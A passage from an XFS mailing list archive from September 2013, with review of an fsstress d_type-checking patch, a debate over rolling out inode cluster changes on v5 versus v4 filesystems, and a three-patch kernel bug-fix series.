(!S_ISCHR(sb.st_mode)) >> + bad_d_type++; >> + break; >> + case DT_DIR: >> + if (!S_ISDIR(sb.st_mode)) >> + bad_d_type++; >> + break; >> + case DT_FIFO: >> + if (!S_ISFIFO(sb.st_mode)) >> + bad_d_type++; >> + break; >> + case DT_LNK: >> + if (!S_ISLNK(sb.st_mode)) >> + bad_d_type++; >> + break; >> + case DT_REG: >> + if (!S_ISREG(sb.st_mode)) >> + bad_d_type++; >> + break; >> + case DT_SOCK: >> + if (!S_ISSOCK(sb.st_mode)) >> + bad_d_type++; >> + break; >> + case DT_UNKNOWN: >> + if (verify_d_type > 1) >> + bad_d_type++; >> + break; >> + } > > And DT_WHT? That's defined on disk and in the user interface ;) > > i.e. this will not do the right thing with an unknown de->d_type. > > Cheers, > > Dave. > From sandeen@sandeen.net Mon Sep 16 19:54:45 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 341D07F4E for ; Mon, 16 Sep 2013 19:54:45 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay2.corp.sgi.com (Postfix) with ESMTP id 2275C30404E for ; Mon, 16 Sep 2013 17:54:41 -0700 (PDT) X-ASG-Debug-ID: 1379379280-04cbb02c3a10bdd30001-NocioJ Received: from sandeen.net (sandeen.net [63.231.237.45]) by cuda.sgi.com with ESMTP id u1fnYcJx0ABadGGv for ; Mon, 16 Sep 2013 17:54:40 -0700 (PDT) X-Barracuda-Envelope-From: sandeen@sandeen.net X-Barracuda-Apparent-Source-IP: 63.231.237.45 Received: from Liberator.local (c-98-240-215-156.hsd1.mn.comcast.net [98.240.215.156]) (using TLSv1 with cipher DHE-RSA-CAMELLIA256-SHA (256/256 bits)) (No client certificate requested) by sandeen.net (Postfix) with ESMTPSA id 4368368DF806; Mon, 16 Sep 2013 19:54:40 -0500 (CDT) Message-ID: <5237A84E.2010404@sandeen.net> Date: Mon, 16 Sep 2013 19:54:38 -0500 From: Eric Sandeen User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.8; rv:17.0) Gecko/20130801 Thunderbird/17.0.8 MIME-Version: 1.0 To: Dave Chinner CC: Eric Sandeen , xfs-oss Subject: Re: [PATCH, RFC] xfstests: add d_type checking to fsstress References: <52377E50.3040907@redhat.com> <20130916225550.GG19103@dastard> X-ASG-Orig-Subj: Re: [PATCH, RFC] xfstests: add d_type checking to fsstress In-Reply-To: <20130916225550.GG19103@dastard> X-Enigmail-Version: 1.5.2 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-Barracuda-Connect: sandeen.net[63.231.237.45] X-Barracuda-Start-Time: 1379379280 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.60 X-Barracuda-Spam-Status: No, SCORE=0.60 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=COMMA_SUBJECT X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.140676 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.60 COMMA_SUBJECT Subject is like 'Re: FDSDS, this is a subject' On 9/16/13 5:55 PM, Dave Chinner wrote: > On Mon, Sep 16, 2013 at 04:55:28PM -0500, Eric Sandeen wrote: >> This patch adds a "-D" switch to fsstress so that every time >> we call readdir, we stat the dentry & compare it's st_mode >> to the d_type. >> >> If -D is specified only once, it ignores DT_UNKNOWN. If specified >> twice, it considers DT_UNKNOWN to be an error. > > Hmmmm. DT_UNKNOWN is actually a valid type on disk right through to the > userspace interface. I can't think of why we'd want to consider it > invalid, especially as right now xfs_repair siply zeros the field > when recreating directory entries... > > Cheers, > > Dave. no fair signing off w/ more text below ;) >> +void test_d_type(int opno, pathname_t *f, struct dirent64 *de) >> +{ >> + struct stat64 sb; >> + char path[PATH_MAX]; >> + >> + snprintf(path, PATH_MAX, "%s/%s", f->path, de->d_name); >> + >> + /* Don't check ./. or ./.. */ >> + if (!strncmp(path, "./.", 3)) >> + return; > > . and .. should have the values of DT_UNKNOWN or DT_DIR. They are > the only valid values for these entries. Hm let me look at something, I saw something that prompted this but now that I think about it maybe it's a bug. >> + >> + if (lstat64(path, &sb)) { >> + printf("%d/%d: getdents - can't stat %s\n", >> + procid, opno, path); >> + } else { >> + int bad_d_type = 0; >> + >> + switch (de->d_type) { >> + case DT_BLK: >> + if (!S_ISBLK(sb.st_mode)) >> + bad_d_type++; >> + break; >> + case DT_CHR: >> + if (!S_ISCHR(sb.st_mode)) >> + bad_d_type++; >> + break; >> + case DT_DIR: >> + if (!S_ISDIR(sb.st_mode)) >> + bad_d_type++; >> + break; >> + case DT_FIFO: >> + if (!S_ISFIFO(sb.st_mode)) >> + bad_d_type++; >> + break; >> + case DT_LNK: >> + if (!S_ISLNK(sb.st_mode)) >> + bad_d_type++; >> + break; >> + case DT_REG: >> + if (!S_ISREG(sb.st_mode)) >> + bad_d_type++; >> + break; >> + case DT_SOCK: >> + if (!S_ISSOCK(sb.st_mode)) >> + bad_d_type++; >> + break; >> + case DT_UNKNOWN: >> + if (verify_d_type > 1) >> + bad_d_type++; >> + break; >> + } > > And DT_WHT? That's defined on disk and in the user interface ;) but fsstress won't create it, will it? > i.e. this will not do the right thing with an unknown de->d_type. ... but we know what fsstress can possibly create, right, so testing those created types should be safe, I'd think. I'll give this some thought & send V2. -Eric > Cheers, > > Dave. > From david@fromorbit.com Mon Sep 16 20:05:02 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 4C1357F4E for ; Mon, 16 Sep 2013 20:05:02 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay1.corp.sgi.com (Postfix) with ESMTP id 1D9998F8064 for ; Mon, 16 Sep 2013 18:04:58 -0700 (PDT) X-ASG-Debug-ID: 1379379896-04bdf02f211101e60001-NocioJ Received: from ipmail06.adl6.internode.on.net (ipmail06.adl6.internode.on.net [150.101.137.145]) by cuda.sgi.com with ESMTP id aYIYvIIG1WGSh49x for ; Mon, 16 Sep 2013 18:04:56 -0700 (PDT) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.145 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AnkGAOipN1J5Lapl/2dsb2JhbABbgwfCEIEgF3SCJQEBBAE6HB4FBQsIAw4KCSUPBSUDIROHfQW6axaOEoE/B4QeA5d6kXWDNiqBLAIeBg Received: from ppp121-45-170-101.lns20.syd6.internode.on.net (HELO dastard) ([121.45.170.101]) by ipmail06.adl6.internode.on.net with ESMTP; 17 Sep 2013 10:34:55 +0930 Received: from dave by dastard with local (Exim 4.76) (envelope-from ) id 1VLjij-00065h-UZ; Tue, 17 Sep 2013 11:04:49 +1000 Date: Tue, 17 Sep 2013 11:04:49 +1000 From: Dave Chinner To: Christoph Hellwig Cc: xfs@oss.sgi.com Subject: Re: [PATCH] [RFC] xfs: increase inode cluster size for v5 filesystems Message-ID: <20130917010449.GH19103@dastard> X-ASG-Orig-Subj: Re: [PATCH] [RFC] xfs: increase inode cluster size for v5 filesystems References: <1378715664-19969-1-git-send-email-david@fromorbit.com> <20130909133254.GA14778@infradead.org> <20130909153546.GT12779@dastard> <20130911162159.GA29319@infradead.org> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20130911162159.GA29319@infradead.org> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail06.adl6.internode.on.net[150.101.137.145] X-Barracuda-Start-Time: 1379379896 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.140676 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Wed, Sep 11, 2013 at 09:21:59AM -0700, Christoph Hellwig wrote: > On Tue, Sep 10, 2013 at 01:35:47AM +1000, Dave Chinner wrote: > > The test matrix of having to test everything on v4 and v5 is just > > nasty, especially if we are talking about prototyping code. I'd much > > prefer to bring things to v5 filesytsems where we have much lower > > exposure and risk of corruption problems, and then when we know it's > > solid because of the QA we've done on it, then we can expose the > > majority of the XFS userbase to it by bringing it back to v4 > > filesystems. > > I think the test matrix is a reason for not enabling this only on v5 > filesystems. You're assuming that someone is doing lots of QA on v4 filesystems. Most of my attention is focussed on v5 filesystems and compared to the amount of v5 QA I'm doing, there is very little v4 QA. All my development and prototyping is being done on v5 filesystems, and the code I post indicates that. I'm not about to propose new features for v4 filesystems if I haven't tested them robustly. And, in many cases, the new features I'm proposing require a new filesystem to be made (like this one does because of the inode alignment requirement) and userspace tool support, and so it's going to be months (maybe a year) before userspace support is in the hands of distro-based users. People testing v5 filesystems right now are handrolling their userspace code, and so they are following the bleeding edge of both user and kernel space development. They are not using the bleeding edge to test new v4 filesystem features. Given this, it makes sense to roll the v5 code first, then a kernel release or 2 later roll in the v4 support once the v5 code has been exposed and we've flushed out the problems. It minimises our exposure to filesystem corruption issues, it gets the code into the hands of early adopters and testers quickly, and it gets rolled back into v4 filesystems in the same timeframe as distros will be picking up the feature in v5 filesystems for the first time. Nobody has yet given a technical reason why such a careful, staged approach to new feature rollout for v4 filesystems is untenable. All I'm hearing is people shouting at me for not bringing new features to v4 filesystems. Indeed, my reasons and plans to bring the features to v4 in the near future are being completely ignored to the point of recklessness... > Large inodes are an old and supported use case, although > probably not as heavily tested as it should. By introducing two > different large inode cases we don't really help increasing test > coverage for a code path that is the same for v4 and v5. I think you've got it wrong - 512 byte inodes have not been regularly or heavily tested until we introduced v5 filesystems. Now they are getting tested all the time on v5 filesystems, but AFAICT there's only one person other than me regularly testing v5 filesystems and reporting bugs (Michael Semon). Hence, AFAICT there is very little ongoing test coverage of large inodes on v4 filesystems, and so the expansion of the test matrix to cover large inodes on v4 filesystem is a very relevant concern. We will be enabling both d_type and large inode clusters on v5 filesystems at all times - they won't be optional features. Hence test matrix is simple - enable v5, all new features are enabled and are tested. However, for v4 filesystems, we've now got default v4, v4 X dtype, v4 X dtype X 512 byte inodes, v4 X dtype X 512 byte inodes X inode alignment (i.e. forwards and backwards compatibility of large inode cluster configs on old 8k cluster kernels) and finally v4 X dtype X 512 byte inodes X inode alignment X large clusters. IOWs, every change we make for v4 filesystems adds another *optional* dimension to the v4 filesystem test matrix. Such an explosion of feature configurations is not sustainable or maintainable - ext4 has proven that beyond a doubt. We have to consider the cross multiplication of the optional v4 feature matrix, and consider that everything needs to work correctly for all the different combinations that can be made. So, code paths might be shared between v4 and v5 filesystems, but we don't have an optional feature matrix on v5 (yet), nor do we have concerns about backwards and forwards compatibility, and so adding new features to v5 filesystems has a far, far lower testing and QA burden than adding a new feature to a v4 filesystem. As I've repeatedly said, if someone wants to do all the v4 validation work I've mentioned above faster than I can do it, then they can provide the patches for the v4 support in kernel and userspace and all the tests needed to validate it on v4 filesystems. [ And even then, the v4 dtype fiasco shows that some people have a major misunderstanding of what is necessary to enable a feature on a v4 filesystem. I'm still waiting for all the missing bits I mentioned in my review of the patch to add the feature bit that were ignored. e.g. the XFS_IOC_FSGEOM support for the feature bit, the changes to xfs_info to emit that it's enabled, mkfs to emit that it's enabled, xfs_db support for the field on v4 filesystems, etc. IOWs, there is still a significant amount missing from the v4 dtype support and so, again, I have little confidence that such things will get done properly until I get around to doing them. I'll be be pleasently surprised if the patches appear before I write them (the kernel XFS_IOC_FSGEOM support needs to be in before 3.12 releases), but I fear that I'm going to be forced to write them soon.... ] > That being said as long as you're still prototyping I'm not going to > interfere. Until I see other people pro-actively fixing regressions, I don't see that there is any scope for changing my approach. Right now the only person I can really rely on to proactively fix problems is myself, and I have limited time and resources... Cheers, Dave. -- Dave Chinner david@fromorbit.com From dave@fromorbit.com Mon Sep 16 20:44:40 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 1CFDA7F4E for ; Mon, 16 Sep 2013 20:44:40 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay2.corp.sgi.com (Postfix) with ESMTP id 0AF6E30404E for ; Mon, 16 Sep 2013 18:44:39 -0700 (PDT) X-ASG-Debug-ID: 1379382277-04cb6c3777261d70001-NocioJ Received: from ipmail06.adl6.internode.on.net (ipmail06.adl6.internode.on.net [150.101.137.145]) by cuda.sgi.com with ESMTP id un0X2XEoNEaXmmow for ; Mon, 16 Sep 2013 18:44:38 -0700 (PDT) X-Barracuda-Envelope-From: dave@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.145 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AgwHADezN1J5Lapl/2dsb2JhbABagweuDJUkF3SCJQEBBScvMwgYMTkDGxmIArpxkASECAOpb4M2Kg Received: from ppp121-45-170-101.lns20.syd6.internode.on.net (HELO dastard) ([121.45.170.101]) by ipmail06.adl6.internode.on.net with ESMTP; 17 Sep 2013 11:14:35 +0930 Received: from disappointment.disaster.area ([192.168.1.110] helo=disappointment) by dastard with esmtp (Exim 4.76) (envelope-from ) id 1VLkLB-00069j-N6 for xfs@oss.sgi.com; Tue, 17 Sep 2013 11:44:33 +1000 Received: from dave by disappointment with local (Exim 4.80) (envelope-from ) id 1VLkLB-0007p6-MU for xfs@oss.sgi.com; Tue, 17 Sep 2013 11:44:33 +1000 From: Dave Chinner To: xfs@oss.sgi.com Subject: [PATCH 1/3] xfs: don't try to mark uncached buffers stale on error. Date: Tue, 17 Sep 2013 11:44:29 +1000 X-ASG-Orig-Subj: [PATCH 1/3] xfs: don't try to mark uncached buffers stale on error. Message-Id: <1379382271-29907-2-git-send-email-david@fromorbit.com> X-Mailer: git-send-email 1.8.3.2 In-Reply-To: <1379382271-29907-1-git-send-email-david@fromorbit.com> References: <1379382271-29907-1-git-send-email-david@fromorbit.com> X-Barracuda-Connect: ipmail06.adl6.internode.on.net[150.101.137.145] X-Barracuda-Start-Time: 1379382278 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.140677 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- From: Dave Chinner fsstress failed during a shutdown with the following assert: XFS: Assertion failed: xfs_buf_islocked(bp), file: fs/xfs/xfs_buf.c, line: 143 ..... xfs_buf_stale+0x3f/0xf0 xfs_bioerror_relse+0x2d/0x90 xfsbdstrat+0x51/0xa0 xfs_zero_remaining_bytes+0x1d1/0x2d0 xfs_free_file_space+0x5d0/0x600 xfs_change_file_space+0x251/0x3a0 xfs_ioc_space+0xcc/0x130 ..... xfs_zero_remaining_bytes() works with uncached buffers, and hence if we are preventing IO due to a shutdown, we should not be marking it stale as that is only for cached buffers. Instead, just mark it with an error and make sure it gets to the caller. Signed-off-by: Dave Chinner --- fs/xfs/xfs_buf.c | 31 +++++++++++++++---------------- 1 file changed, 15 insertions(+), 16 deletions(-) diff --git a/fs/xfs/xfs_buf.c b/fs/xfs/xfs_buf.c index 2634700..956685f 100644 --- a/fs/xfs/xfs_buf.c +++ b/fs/xfs/xfs_buf.c @@ -1093,25 +1093,20 @@ xfs_bioerror_relse( struct xfs_buf *bp) { int64_t fl = bp->b_flags; + /* - * No need to wait until the buffer is unpinned. - * We aren't flushing it. - * - * chunkhold expects B_DONE to be set, whether - * we actually finish the I/O or not. We don't want to - * change that interface. + * No need to wait until the buffer is unpinned. We aren't flushing it. */ XFS_BUF_UNREAD(bp); XFS_BUF_DONE(bp); xfs_buf_stale(bp); bp->b_iodone = NULL; + + /* + * There's no reason to mark error for ASYNC buffers as there is no-one + * waiting to collect the error. + */ if (!(fl & XBF_ASYNC)) { - /* - * Mark b_error and B_ERROR _both_. - * Lot's of chunkcache code assumes that. - * There's no reason to mark error for - * ASYNC buffers. - */ xfs_buf_ioerror(bp, EIO); complete(&bp->b_iowait); } else { @@ -1128,11 +1123,15 @@ xfs_bdstrat_cb( if (XFS_FORCED_SHUTDOWN(bp->b_target->bt_mount)) { trace_xfs_bdstrat_shut(bp, _RET_IP_); /* - * Metadata write that didn't get logged but - * written delayed anyway. These aren't associated - * with a transaction, and can be ignored. + * If this is a cached write, then it is likely to be a delayed + * write metadata buffer that can be ignored because the + * contents are logged. If it's an uncached buffer or a read + * operation, then the caller will get the error through the + * normal IO completion path. We can tell if the buffer is + * cached or not by looking to see if the b_pag field is NULL or + * not. */ - if (!bp->b_iodone && !XFS_BUF_ISREAD(bp)) + if (!bp->b_iodone && !XFS_BUF_ISREAD(bp) && bp->b_pag) return xfs_bioerror_relse(bp); else return xfs_bioerror(bp); -- 1.8.3.2 From dave@fromorbit.com Mon Sep 16 20:44:40 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id DF7897F4E for ; Mon, 16 Sep 2013 20:44:40 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay2.corp.sgi.com (Postfix) with ESMTP id CDFB0304048 for ; Mon, 16 Sep 2013 18:44:37 -0700 (PDT) X-ASG-Debug-ID: 1379382275-04cbb02c3e10c0bd0001-NocioJ Received: from ipmail06.adl6.internode.on.net (ipmail06.adl6.internode.on.net [150.101.137.145]) by cuda.sgi.com with ESMTP id 33mfnALEHZEBHnj7 for ; Mon, 16 Sep 2013 18:44:36 -0700 (PDT) X-Barracuda-Envelope-From: dave@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.145 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AgoHADezN1J5Lapl/2dsb2JhbABagweuDJUkF3SDAjuBAgOINplWoRuQBIQIA6lvgzYq Received: from ppp121-45-170-101.lns20.syd6.internode.on.net (HELO dastard) ([121.45.170.101]) by ipmail06.adl6.internode.on.net with ESMTP; 17 Sep 2013 11:14:35 +0930 Received: from disappointment.disaster.area ([192.168.1.110] helo=disappointment) by dastard with esmtp (Exim 4.76) (envelope-from ) id 1VLkLB-00069i-MW for xfs@oss.sgi.com; Tue, 17 Sep 2013 11:44:33 +1000 Received: from dave by disappointment with local (Exim 4.80) (envelope-from ) id 1VLkLB-0007p3-Le for xfs@oss.sgi.com; Tue, 17 Sep 2013 11:44:33 +1000 From: Dave Chinner To: xfs@oss.sgi.com Subject: [PATCH 0/3] xfs: fixes for 3.12-rc2 Date: Tue, 17 Sep 2013 11:44:28 +1000 X-ASG-Orig-Subj: [PATCH 0/3] xfs: fixes for 3.12-rc2 Message-Id: <1379382271-29907-1-git-send-email-david@fromorbit.com> X-Mailer: git-send-email 1.8.3.2 X-Barracuda-Connect: ipmail06.adl6.internode.on.net[150.101.137.145] X-Barracuda-Start-Time: 1379382276 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.140677 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- Hi folks, Three patches for 3.12-rc2. The first has been posted previously, and prevents an assert failure during a shutdown while zeroing space with an uncached buffer. The second patch is to fix a regression introduced in the 3.12 merge by commit 46f9d2e ("xfs: aborted buf items can be in the AIL"). The third is fixing a thinko made a long time ago when adding RCU freeing to the struct xfs_inode, but has only been exposed by the recent merge of the per-node LRUs and shrinkers allowing concurrent reclaim and lookup races to be hit easily. The RCU traversals of the inode radix trees take the lock on the inode to determine if it is being freed or not, and so that can race with freeing of the inode. Hence we can't assert that the lock is not held when freeing the inode. These all fix regressions triggered by xfstests.... Cheers, Dave. From dave@fromorbit.com Mon Sep 16 20:44:40 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 4FD1D7F51 for ; Mon, 16 Sep 2013 20:44:40 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay1.corp.sgi.com (Postfix) with ESMTP id 3E1EB8F8050 for ; Mon, 16 Sep 2013 18:44:40 -0700 (PDT) X-ASG-Debug-ID: 1379382275-04cbb02c3e10c0bd0003-NocioJ Received: from ipmail06.adl6.internode.on.net (ipmail06.adl6.internode.on.net [150.101.137.145]) by cuda.sgi.com with ESMTP id aiTWAq2rQrRn4VtJ for ; Mon, 16 Sep 2013 18:44:38 -0700 (PDT) X-Barracuda-Envelope-From: dave@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.145 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: Ag4HADezN1J5Lapl/2dsb2JhbABagweuDJQEgSAXdIIlAQEFJy8zCBgxOQMbGYgCunGPXCiECAOpb4M2Kg Received: from ppp121-45-170-101.lns20.syd6.internode.on.net (HELO dastard) ([121.45.170.101]) by ipmail06.adl6.internode.on.net with ESMTP; 17 Sep 2013 11:14:35 +0930 Received: from disappointment.disaster.area ([192.168.1.110] helo=disappointment) by dastard with esmtp (Exim 4.76) (envelope-from ) id 1VLkLB-00069l-OJ for xfs@oss.sgi.com; Tue, 17 Sep 2013 11:44:33 +1000 Received: from dave by disappointment with local (Exim 4.80) (envelope-from ) id 1VLkLB-0007pG-Ne for xfs@oss.sgi.com; Tue, 17 Sep 2013 11:44:33 +1000 From: Dave Chinner To: xfs@oss.sgi.com Subject: [PATCH 3/3] xfs: asserting lock not held during freeing not valid Date: Tue, 17 Sep 2013 11:44:31 +1000 X-ASG-Orig-Subj: [PATCH 3/3] xfs: asserting lock not held during freeing not valid Message-Id: <1379382271-29907-4-git-send-email-david@fromorbit.com> X-Mailer: git-send-email 1.8.3.2 In-Reply-To: <1379382271-29907-1-git-send-email-david@fromorbit.com> References: <1379382271-29907-1-git-send-email-david@fromorbit.com> X-Barracuda-Connect: ipmail06.adl6.internode.on.net[150.101.137.145] X-Barracuda-Start-Time: 1379382278 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.140677 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- From: Dave Chinner When we free an inode, we do so via RCU. As an RCU lookup can occur at any time before we free an inode, and that lookup takes the inode flags lock, we cannot safely assert that the flags lock is not held just before marking it dead and running call_rcu() to free the inode. We check on allocation of a new inode structre that the lock is not held, so we still have protection against locks being leaked and hence not correctly initialised when allocated out of the slab. Hence just remove the assert... Signed-off-by: Dave Chinner --- fs/xfs/xfs_icache.c | 9 ++++----- 1 file changed, 4 insertions(+), 5 deletions(-) diff --git a/fs/xfs/xfs_icache.c b/fs/xfs/xfs_icache.c index 193206b..474807a 100644 --- a/fs/xfs/xfs_icache.c +++ b/fs/xfs/xfs_icache.c @@ -119,11 +119,6 @@ xfs_inode_free( ip->i_itemp = NULL; } - /* asserts to verify all state is correct here */ - ASSERT(atomic_read(&ip->i_pincount) == 0); - ASSERT(!spin_is_locked(&ip->i_flags_lock)); - ASSERT(!xfs_isiflocked(ip)); - /* * Because we use RCU freeing we need to ensure the inode always * appears to be reclaimed with an invalid inode number when in the @@ -135,6 +130,10 @@ xfs_inode_free( ip->i_ino = 0; spin_unlock(&ip->i_flags_lock); + /* asserts to verify all state is correct here */ + ASSERT(atomic_read(&ip->i_pincount) == 0); + ASSERT(!xfs_isiflocked(ip)); + call_rcu(&VFS_I(ip)->i_rcu, xfs_inode_free_callback); } -- 1.8.3.2 From dave@fromorbit.com Mon Sep 16 20:44:42 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 8B2C17F59 for ; Mon, 16 Sep 2013 20:44:42 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay3.corp.sgi.com (Postfix) with ESMTP id 2966DAC004 for ; Mon, 16 Sep 2013 18:44:39 -0700 (PDT) X-ASG-Debug-ID: 1379382275-04cbb02c3e10c0bd0002-NocioJ Received: from ipmail06.adl6.internode.on.net (ipmail06.adl6.internode.on.net [150.101.137.145]) by cuda.sgi.com with ESMTP id 8lO0dmwYIwResCMT for ; Mon, 16 Sep 2013 18:44:37 -0700 (PDT) X-Barracuda-Envelope-From: dave@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.145 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AgwHADezN1J5Lapl/2dsb2JhbABagweuDJUkF3SCJQEBBScvMwgYMTkDGxmIArpxkASECAOpb4M2Kg Received: from ppp121-45-170-101.lns20.syd6.internode.on.net (HELO dastard) ([121.45.170.101]) by ipmail06.adl6.internode.on.net with ESMTP; 17 Sep 2013 11:14:35 +0930 Received: from disappointment.disaster.area ([192.168.1.110] helo=disappointment) by dastard with esmtp (Exim 4.76) (envelope-from ) id 1VLkLB-00069k-Nf for xfs@oss.sgi.com; Tue, 17 Sep 2013 11:44:33 +1000 Received: from dave by disappointment with local (Exim 4.80) (envelope-from ) id 1VLkLB-0007pB-N4 for xfs@oss.sgi.com; Tue, 17 Sep 2013 11:44:33 +1000 From: Dave Chinner To: xfs@oss.sgi.com Subject: [PATCH 2/3] xfs: lock the AIL before removing the buffer item Date: Tue, 17 Sep 2013 11:44:30 +1000 X-ASG-Orig-Subj: [PATCH 2/3] xfs: lock the AIL before removing the buffer item Message-Id: <1379382271-29907-3-git-send-email-david@fromorbit.com> X-Mailer: git-send-email 1.8.3.2 In-Reply-To: <1379382271-29907-1-git-send-email-david@fromorbit.com> References: <1379382271-29907-1-git-send-email-david@fromorbit.com> X-Barracuda-Connect: ipmail06.adl6.internode.on.net[150.101.137.145] X-Barracuda-Start-Time: 1379382277 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.140677 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- From: Dave Chinner Regression introduced by commit 46f9d2e ("xfs: aborted buf items can be in the AIL") which fails to lock the AIL before removing the item. Spinlock debugging throws a warning about this. Signed-off-by: Dave Chinner --- fs/xfs/xfs_buf_item.c | 1 + 1 file changed, 1 insertion(+) diff --git a/fs/xfs/xfs_buf_item.c b/fs/xfs/xfs_buf_item.c index 88c5ea7..f1d85cf 100644 --- a/fs/xfs/xfs_buf_item.c +++ b/fs/xfs/xfs_buf_item.c @@ -628,6 +628,7 @@ xfs_buf_item_unlock( else if (aborted) { ASSERT(XFS_FORCED_SHUTDOWN(lip->li_mountp)); if (lip->li_flags & 